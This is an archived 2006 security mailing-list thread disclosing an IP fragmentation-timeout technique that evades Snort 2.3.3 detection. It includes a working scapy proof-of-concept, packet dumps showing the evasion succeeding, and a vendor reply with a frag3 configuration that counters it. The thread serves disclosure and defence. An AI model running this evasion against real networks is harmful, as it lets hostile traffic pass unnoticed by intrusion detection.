PDA

Bekijk Volledige Versie : Verified evasion in Snort



a@securityfocus.com, non@securityfocus.com,
01/02/06, 19:15
<pre>
Dan Kaminsky gave a presentation at shmoocon and mentioned using
ip fragmentation timers to evade intrusion detection systems. It's
a pretty straightforward technique and easy to code up so we
decided to look and see if Snort was vulnerable.

------------------------------------------------------------------

We added a couple of rules

alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"Found Generic ICMP Packet"; icode:0; itype:8; classtype:misc-activity; sid:384; rev:5;)
alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"Found BadStuff"; content:"BADSTUFF";icode:0; itype:8; classtype:misc-activity; sid:384; rev:5;)

to a snort 2.3.3 config file (gentoo emerge).

We crafted up a quick ping with the string "BADSTUFF" to test our configuration.
Sure enough, snort alerted on the packet. Next we tested that snort was
properly assembly fragments. We fragmented the icmp echo request into two
packets and threw them at the target host. Snort properly reassembled them
in either order and the target returned an echo reply send to a Windows XP
host.

Now for the attack. We crafted 3 fragments. The first contained a standard
icmp ping header. The second contained the BADSTUFF string and the third
contained an alternate GODSTUFF string.

Step 1)

Send over the GODSTUFF packet. The GODSTUFF fragment is recieved by Snort
and the Windows XP machine.

Snort WindowsXP
--->GODSTUFF GODSTUFF GODSTUFF


Step 2)

Wait 5 seconds for the fragment to timeout on the XP Host. The frament is
still in the reassembly buffer for Snort.

Snort WindowsXP
(Wait 5sec) GODSTUFF


Step 3)

Send over the common ICMP Header. It is recieved by both Snort and the
WindowsXP host.

Snort WindowsXP
GODSTUFF
--->Header Header Header



Snort now has both pieces it needs for reassembly and reconstructs the framents
into a broken ICMP packet and discards both fragments. The WindowsXP host
now only had the header fragment in the reassembly buffer. (Note: we could have
made the icmp checksum work out, but we didn't have to.)

Snort WindowsXP
--->Header Header



Step 4)

Send over the BADSTUFF packet.

Snort WindowsXP
Header
--->BADSTUFF BADSTUFF BADSTUFF


The WindowsXP host properly reassembles the icmp packet and sends us back
an icmp echo reply with the BADSTUFF string in it. No alerts from snort.
Eventually the BADSTUFF fragment will silently timeout in Snort's buffer.


-------------

This technique could be used to bypass most Snort signatures. It'd be fun
to add a snort-inline plugin to do it automatically when pen-testing. If
Snort cleared the fragments in the reassembly buffer on and icmp fragmentation
reassembly time exceeded message, the attack would be hard to pull off.
Unfortunately, many stacks and hardened systems no longer send out those
messages.

Jason Larsen
Mike Milivich

attached is a proof-of-concept in scapy


#!/usr/bin/python

from scapy import *
from time import sleep
from random import seed
from random import randint

# seed the random number generating using the current time
seed(None)

# victim
ip = IP(dst="10.4.4.4")
# generate a random ID, all of the fragments have to have the
# same ID, but we want to use something that the IDS/target isn't
# already trying to reassemble
ip.id = randint(0x1000,0x5000)
ip.proto = 0x1 # ICMP protocol number

# get just the data part, not the ip header
data1 = str(ip/ICMP(id=0x8236, seq=83)/("BADSTUFF"))[len(ip):]
data2 = str(ip/ICMP(id=0x8236, seq=83)/("GODSTUFF"))[len(ip):]

# split into fragments
splitLoc = 8
frag1 = data1[:splitLoc]
frag2 = data1[splitLoc:]
frag2Good = data2[splitLoc:]

# send the fragments

# send the "good" fragment
ip.flags = 0
ip.frag = splitLoc / 8
send(ip/frag2Good)

# wait for good fragment to timeout on the target, this will change
# depending on the target... 5 seconds worked against a test windows box
sleep(5)

# send the first fragment which causes the IDS to reassemble
ip.flags = 1
ip.frag = 0
send(ip/frag1)

# send the bad fragment to reassemble on the target, sits in the IDS
# until the IDS flush's it from the fragment cache
ip.flags = 0
ip.frag = splitLoc / 8
send(ip/frag2)

</pre>

Thierry Zoller
01/02/06, 21:30
Dear List,

asc> Dan Kaminsky gave a presentation at shmoocon and mentioned using
asc> ip fragmentation timers to evade intrusion detection systems.
Just FYI, for Risk Assesement, this information has already been presented
last year by Dan at Defcon13 .

--
http://secdev.zoller.lu
Thierry Zoller
Fingerprint : 5D84 BFDC CD36 A951 2C45 2E57 28B3 75DD 0AC6 F1C7

mwatchinski@sourcefire.com
01/02/06, 22:30
This and other target base fragmentation evasions are the reason we re-wrote the fragmentation engine in Snort.

If you look at Judy Novak's Frag3 Development paper, Snort's latest fragmentation engine (frag3) supports target-based fragmentation policies for overlaps, ttl evasions, and timeouts. This can be configured on a per IP basis to allow exact emulation of ho
w the end host handles fragmentation reassembly.

Here is a sample configuration that could be used for frag3. This configuration would handle the evasion outlined in the advisory. This configuration is based on the 5 second timeout used in the PoC code provided.

preprocessor frag3_engine: policy first \
bind_to 10.2.1.0/24 \
timeout 5 \
detect_anomalies

From our testing, Windows XP actually has a 1 minute timeout for fragments. The actual configuration to handle this evasion would be the following:

preprocessor frag3_engine: policy first \
bind_to 10.2.1.0/24 \
timeout 60 \
detect_anomalies

For the VRT's detailed analysis of the PoC tool and the advisory please see:

http://www.snort.org/rules/docs/vrt/evasion_snort_v233.html


Cheers,
Matthew Watchinski
Director, Vulnerability Research
Sourcefire, Inc.

anonpoet@inconnu.isu.edu
02/02/06, 23:00
<pre>
There seems to be some confusion about the fragmentation IDS evasion. We've observed
fragmentation timeouts on windows from 5 seconds to 90 seconds depending on the
software installed and random chance. Here are raw dumps from an evasion.

The mistake Judy Novak made in her analysis was in not recalculating the delay between
the first fragment and the other two fragments. If it is too short the target will reassemble
the first two fragments and find an invalid checksum discarding the packet. No ICMP
response will be sent.

Some experimentation will have to be done to find the correct timeout. It can be done
remotely by increasing the time between two good fragments until a reply isn't sent.
(Windows boxes don't seem to send out a frag time exceeded on anything other than
the first fragment.)

Here's a packet dump to verify that Snort's frag2 preprocessor is working:

16:04:18.155735 IP (tos 0x0, ttl 64, id 15537, offset 0, flags [+], proto: ICMP (1), length: 28) 10.4.4.217 > 10.4.4.252: ICMP echo request, id 33334, seq 83, length 8
0x0000: 0011 2f7e db0b 000d 93b4 d31a 0800 4500 ../~..........E.
0x0010: 001c 3cb1 2000 4001 0054 0a04 04d9 0a04 ..<...@..T......
0x0020: 04fc 0800 5446 8236 0053 5555 5555 5555 ....TF.6.SUUUUUU
0x0030: 5555 5555 5555 5555 5555 5555 UUUUUUUUUUUU
16:04:18.178271 IP (tos 0x0, ttl 64, id 15537, offset 8, flags [none], proto: ICMP (1), length: 28) 10.4.4.217 > 10.4.4.252: icmp
0x0000: 0011 2f7e db0b 000d 93b4 d31a 0800 4500 ../~..........E.
0x0010: 001c 3cb1 0001 4001 2053 0a04 04d9 0a04 ..<...@..S......
0x0020: 04fc 4241 4453 5455 4646 5555 5555 5555 ..BADSTUFFUUUUUU
0x0030: 5555 5555 5555 5555 5555 5555 UUUUUUUUUUUU
16:04:18.178325 IP (tos 0x0, ttl 128, id 57573, offset 0, flags [none], proto: ICMP (1), length: 36) 10.4.4.252 > 10.4.4.217: ICMP echo reply, id 33334, seq 83, length 16
0x0000: 000d 93b4 d31a 0011 2f7e db0b 0800 4500 ......../~....E.
0x0010: 0024 e0e5 0000 8001 3c17 0a04 04fc 0a04 .$......<.......
0x0020: 04d9 0000 5c46 8236 0053 4241 4453 5455 ....\F.6.SBADSTU
0x0030: 4646 0000 0000 0000 0000 0000 FF..........


[**] [1:384:5] Found BadStuff [**]
[Classification: Misc activity] [Priority: 3]
02/02-16:04:18.178271 10.4.4.217 -> 10.4.4.252
ICMP TTL:64 TOS:0x0 ID:15537 IpLen:20 DgmLen:36
Type:8 Code:0 ID:33334 Seq:83 ECHO

[**] [1:384:5] Found Generic ICMP Packet [**]
[Classification: Misc activity] [Priority: 3]
02/02-16:04:18.178271 10.4.4.217 -> 10.4.4.252
ICMP TTL:64 TOS:0x0 ID:15537 IpLen:20 DgmLen:36
Type:8 Code:0 ID:33334 Seq:83 ECHO



With no delay snort properly reassembles the fragments and generates an alert. With a delay, the target doesn't reassemble, but
Snort still generates an alert.

16:01:33.951416 IP (tos 0x0, ttl 64, id 12524, offset 0, flags [+], proto: ICMP (1), length: 28) 10.4.4.217 > 10.4.4.252: ICMP echo request, id 33334, seq 83, length 8
0x0000: 0011 2f7e db0b 000d 93b4 d31a 0800 4500 ../~..........E.
0x0010: 001c 30ec 2000 4001 0c19 0a04 04d9 0a04 ..0...@.........
0x0020: 04fc 0800 5446 8236 0053 5555 5555 5555 ....TF.6.SUUUUUU
0x0030: 5555 5555 5555 5555 5555 5555 UUUUUUUUUUUU
16:02:38.281468 IP (tos 0x0, ttl 128, id 57570, offset 0, flags [none], proto: ICMP (1), length: 56) 10.4.4.252 > 10.4.4.217: ICMP ip reassembly time exceeded, length 36
IP (tos 0x0, ttl 64, id 12524, offset 0, flags [+], proto: ICMP (1), length: 28) 10.4.4.217 > 10.4.4.252: ICMP echo request, id 33334, seq 83, length 8
0x0000: 000d 93b4 d31a 0011 2f7e db0b 0800 4500 ......../~....E.
0x0010: 0038 e0e2 0000 8001 3c06 0a04 04fc 0a04 .8......<.......
0x0020: 04d9 0b01 162f 0000 0000 4500 001c 30ec ...../....E...0.
0x0030: 2000 4001 0c19 0a04 04d9 0a04 04fc 0800 ..@.............
0x0040: 5446 8236 0053 TF.6.S
16:03:04.977353 IP (tos 0x0, ttl 64, id 12524, offset 8, flags [none], proto: ICMP (1), length: 28) 10.4.4.217 > 10.4.4.252: icmp
0x0000: 0011 2f7e db0b 000d 93b4 d31a 0800 4500 ../~..........E.
0x0010: 001c 30ec 0001 4001 2c18 0a04 04d9 0a04 ..0...@.,.......
0x0020: 04fc 4241 4453 5455 4646 5555 5555 5555 ..BADSTUFFUUUUUU
0x0030: 5555 5555 5555 5555 5555 5555 UUUUUUUUUUUU

[**] [1:384:5] Found BadStuff [**]
[Classification: Misc activity] [Priority: 3]
02/02-16:03:04.977353 10.4.4.217 -> 10.4.4.252
ICMP TTL:64 TOS:0x0 ID:12524 IpLen:20 DgmLen:36
Type:8 Code:0 ID:33334 Seq:83 ECHO

[**] [1:384:5] Found Generic ICMP Packet [**]
[Classification: Misc activity] [Priority: 3]
02/02-16:03:04.977353 10.4.4.217 -> 10.4.4.252
ICMP TTL:64 TOS:0x0 ID:12524 IpLen:20 DgmLen:36
Type:8 Code:0 ID:33334 Seq:83 ECHO


With a delay of 91 seconds, the IDS evasion works and we get back a properly reassembled ICMP reply.

15:57:17.846828 IP (tos 0x0, ttl 64, id 12603, offset 8, flags [none], proto: ICMP (1), length: 28) 10.4.4.217 > 10.4.4.252: icmp
0x0000: 0011 2f7e db0b 000d 93b4 d31a 0800 4500 ../~..........E.
0x0010: 001c 313b 0001 4001 2bc9 0a04 04d9 0a04 ..1;..@.+.......
0x0020: 04fc 474f 4453 5455 4646 5555 5555 5555 ..GODSTUFFUUUUUU
0x0030: 5555 5555 5555 5555 5555 5555 UUUUUUUUUUUU
15:58:48.873073 IP (tos 0x0, ttl 64, id 12603, offset 0, flags [+], proto: ICMP (1), length: 28) 10.4.4.217 > 10.4.4.252: ICMP echo request, id 33334, seq 83, length 8
0x0000: 0011 2f7e db0b 000d 93b4 d31a 0800 4500 ../~..........E.
0x0010: 001c 313b 2000 4001 0bca 0a04 04d9 0a04 ..1;..@.........
0x0020: 04fc 0800 5446 8236 0053 5555 5555 5555 ....TF.6.SUUUUUU
0x0030: 5555 5555 5555 5555 5555 5555 UUUUUUUUUUUU
15:58:48.892586 IP (tos 0x0, ttl 64, id 12603, offset 8, flags [none], proto: ICMP (1), length: 28) 10.4.4.217 > 10.4.4.252: icmp
0x0000: 0011 2f7e db0b 000d 93b4 d31a 0800 4500 ../~..........E.
0x0010: 001c 313b 0001 4001 2bc9 0a04 04d9 0a04 ..1;..@.+.......
0x0020: 04fc 4241 4453 5455 4646 5555 5555 5555 ..BADSTUFFUUUUUU
0x0030: 5555 5555 5555 5555 5555 5555 UUUUUUUUUUUU
15:58:48.892644 IP (tos 0x0, ttl 128, id 57559, offset 0, flags [none], proto: ICMP (1), length: 36) 10.4.4.252 > 10.4.4.217: ICMP echo reply, id 33334, seq 83, length 16
0x0000: 000d 93b4 d31a 0011 2f7e db0b 0800 4500 ......../~....E.
0x0010: 0024 e0d7 0000 8001 3c25 0a04 04fc 0a04 .$......<%......
0x0020: 04d9 0000 5c46 8236 0053 4241 4453 5455 ....\F.6.SBADSTU
0x0030: 4646 0000 0000 0000 0000 0000 FF..........


There were no snort alerts. We haven't tried frag3, but fragments generally aren't delayed in the wild so an
alert on all fragments more than a second apart would probably be effective.


Jason Larsen
Mike Milvich

</pre>

Dave Korn
03/02/06, 18:00
anonpoet@inconnu.isu.edu wrote:


> (Windows boxes don't seem to send out a frag time exceeded on
> anything other than the first fragment.)

That's what the host requirements RFC demands: see e.g.
http://www.rfc-editor.org/rfc/rfc1122.txt

----------------------quote----------------------
3.2.2 Internet Control Message Protocol -- ICMP

[ ... snip ... ]

An ICMP error message MUST NOT be sent as the result of
receiving:

[ ... snip ... ]

* a non-initial fragment, or
----------------------quote----------------------

cheers,
DaveK
--
Can't think of a witty .sigline today....